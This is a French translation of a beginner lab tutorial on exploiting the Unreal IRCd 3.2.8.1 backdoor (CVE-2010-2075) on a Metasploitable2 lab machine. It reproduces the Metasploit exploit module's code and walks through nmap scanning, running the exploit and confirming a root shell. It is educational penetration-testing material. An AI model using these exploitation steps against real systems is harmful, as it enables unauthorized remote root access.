Exploiter la vulnérabilité d'Unreal IRCd avec Nmap et Metasploit

CybersecurityCybersecurityBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire, nous allons apprendre à exploiter le service Unreal IRCd sur la machine cible Metasploitable2 hébergée sur la plateforme LabEx. Nous commencerons par comprendre la vulnérabilité du service Unreal IRCd, puis effectuerons un scan de vulnérabilité à l'aide de Nmap. Après avoir identifié le service vulnérable, nous utiliserons le framework Metasploit pour exploiter la vulnérabilité et obtenir un shell distant sur la machine cible. Enfin, nous validerons notre exploitation réussie en exécutant des commandes sur le système compromis.

Comprendre la vulnérabilité Unreal IRCd et démarrer l'environnement d'expérience

La version 3.2.8.1 d'Unreal IRCd contient une vulnérabilité de porte dérobée (CVE-2010-2075) qui permet aux attaquants distants d'exécuter des codes arbitraires sur le système affecté. La vulnérabilité réside dans la macro DEBUG3_DOLOG_SYSTEM, qui inclut un code malveillant externe pouvant être exploité par un attaquant.

Informations pertinentes :

Le module Metasploit pour exploiter cette vulnérabilité :

Voici un bref aperçu du module Metasploit :

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      #... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Maintenant, vous allez démarrer la machine d'attaque (conteneur Kali Linux) et la machine cible (machine virtuelle Metasploitable2) pour l'expérience.

  1. Ouvrez un terminal xfce sur la machine hôte LabEx et démarrez la cible Metasploitable2 en exécutant la commande suivante :
sudo virsh start Metasploitable2

Attendez que la machine cible démarre, cela peut prendre de 1 à 3 minutes.

  1. Testez la connectivité à la machine cible en l'envoyant des paquets ICMP (ping) :
ping 192.168.122.102

Appuyez sur Ctrl+C pour arrêter le ping.

  1. Lancez le conteneur Kali Linux et entrez dans l'environnement bash en exécutant :
docker run -ti --network host b5b709a49cd5 bash
  1. À l'intérieur du conteneur Kali, testez la connexion réseau à la machine cible :
ping 192.168.122.102

Appuyez sur Ctrl+C pour arrêter le ping.

Maintenant, la machine d'attaque et la machine cible sont en cours d'exécution, et vous pouvez commencer le test de pénétration.

Remarque : Si vous quittez accidentellement le bash actuel, le conteneur Kali s'arrêtera automatiquement. Vous pouvez exécuter docker run -ti --network host b5b709a49cd5 bash à nouveau sur l'hôte pour démarrer un nouveau conteneur Kali et entrer dans le bash pour continuer l'expérience.

Effectuer un scan de vulnérabilité

Dans cette étape, nous allons effectuer un scan de vulnérabilité sur la machine cible pour identifier les ports ouverts et les services qui s'exécutent sur ces ports. Nous utiliserons pour cela l'outil puissant Nmap (Network Mapper).

  1. Lancez la console Metasploit dans le conteneur Kali Linux :
cd ~
msfconsole
  1. Dans la console Metasploit, utilisez la commande nmap pour scanner la machine cible :
nmap -sV -T4 192.168.122.102

L'option -sV active la détection de version pour les ports ouverts, et -T4 définit la stratégie de temporisation à un niveau agressif (de 1 à 5, plus le nombre est élevé, plus le scan est rapide).

La sortie devrait montrer un port ouvert 6667 exécutant le service unreal ircd.

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Exploiter la vulnérabilité Unreal IRCd

Maintenant que nous avons identifié le service Unreal IRCd vulnérable s'exécutant sur le port 6667, nous pouvons procéder à son exploitation en utilisant le framework Metasploit.

  1. Tout d'abord, si vous n'êtes pas dans la console Metasploit, vous devriez démarrer la console Metasploit :
cd ~
msfconsole
  1. Dans la console Metasploit, recherchez le module unreal_ircd_3281_backdoor :
search unreal_ircd_3281_backdoor
  1. Chargez le module :
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Définissez l'hôte cible :
set RHOST 192.168.122.102
  1. Exécutez l'exploit :
exploit

Si l'exploitation réussit, vous devriez obtenir un shell distant sur la machine cible.

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Valider l'exploitation

Pour valider que l'exploitation a réussi, nous pouvons exécuter des commandes sur le shell distant obtenu à l'étape précédente.

  1. Tout d'abord, si vous n'êtes pas dans la console Metasploit, vous devriez démarrer la console Metasploit :
cd ~
msfconsole
  1. Vérifiez l'utilisateur actuel avec la commande whoami :
whoami
  1. Vérifiez le nom d'hôte avec la commande hostname :
hostname
  1. Vérifiez l'adresse IP avec la commande ifconfig :
ifconfig

Si la sortie affiche root comme utilisateur actuel, metasploitable comme nom d'hôte et que l'adresse IP correspond à celle de la machine cible (192.168.122.102), cela confirme que l'exploitation a réussi et que vous avez obtenu le contrôle total du système cible.

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Résumé

Dans ce laboratoire, nous avons appris à connaître la vulnérabilité Unreal IRCd et à l'exploiter à l'aide du framework Metasploit. Nous avons commencé par comprendre la vulnérabilité et son impact, puis nous avons effectué un scan de vulnérabilité pour identifier le service vulnérable. Après avoir trouvé le service Unreal IRCd s'exécutant sur le port 6667, nous avons utilisé le module Metasploit approprié pour exploiter la vulnérabilité et obtenir un accès distant à la machine cible. Enfin, nous avons validé notre exploitation réussie en exécutant des commandes sur le système compromis. Ce laboratoire a offert une expérience pratique dans l'analyse des vulnérabilités, leur exploitation et la validation post-exploitation, qui sont des compétences essentielles pour les hackers éthiques et les professionnels de la cybersécurité.